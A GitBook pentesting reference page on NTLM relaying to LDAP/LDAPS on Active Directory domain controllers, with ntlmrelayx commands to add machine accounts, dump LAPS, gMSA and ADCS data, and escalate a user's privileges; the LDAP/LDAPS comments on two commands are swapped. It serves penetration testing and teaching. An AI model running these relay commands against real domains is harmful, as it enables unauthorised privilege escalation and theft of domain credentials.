> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/active-directory/relaying/ldap-relaying.md).

# LDAP Relaying

LDAP Relaying attacks can make use of NTLM authentication. Similar to [SMB Relaying](/pentesting/infrastructure/active-directory/relaying/smb-relaying.md), an attacker who captures credentials via [MITM6](/pentesting/infrastructure/networks/ipv6.md) or Responder can then relay them to a domain controller, targeting LDAP.&#x20;

It should be noted that the following two defaults need to be set in order for this to be exploited:

* [LDAP Signing Disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-signing-in-windows-server)
* [LDAP Channel Binding Disabled](https://support.microsoft.com/en-us/topic/use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e)

### Enumeration

#### LDAPRelayScan

[LDAPRelayScan](https://github.com/zyn3rgy/LdapRelayScan) can be utilized to identify whether LDAP Signing and/or LDAP Channel Binding are enabled or not.

```bash
# Generic usage of LdapRelayScan.py  
LdapRelayScan.py -u $user -p $password -dc-ip $dcipaddress -method BOTH
```

### Exploitation

{% tabs %}
{% tab title="Computer Creation" %}
Create a new domain computer by abusing the default attribute `ms-DS-MachineAccountQuota` which is by default set to 10, allowing all authenticated users to add up to 10 computers to the domain.&#x20;

This account can then be utilized to perform authenticated attacks against the domain such as Kerberoasting.&#x20;

```bash
# Relay to LDAP
ntlmrelayx.py -t ldaps://$dcip --add-computer $computername

# Relay to LDAPS
ntlmrelayx.py -t ldap://$dcip --add-computer $computername 
```

{% endtab %}

{% tab title="Dump" %}
Relay authentication to LDAP and obtain a significant amount of information about the domain such as ADCS configuration, LAPS, groups, users, etc.&#x20;

```bash
ntlmrelayx -t "ldap://$dcip" --dump-adcs --dump-laps --dump-gmsa
```

{% endtab %}

{% tab title="Escalate" %}
Relay captured credentials to LDAPS and escalate the privileges of a specified domain user.&#x20;

```bash
# Relay authentication over LDAPS and attempt to escalate privileges
ntlmrelayx.py -t ldaps://$dcip --escalate-user $usernameLAReferences
```

{% endtab %}
{% endtabs %}

### References

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}

{% embed url="<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/ldap-relay>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/ntlm/relay>" %}

{% embed url="<https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/active-directory/relaying/ldap-relaying.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
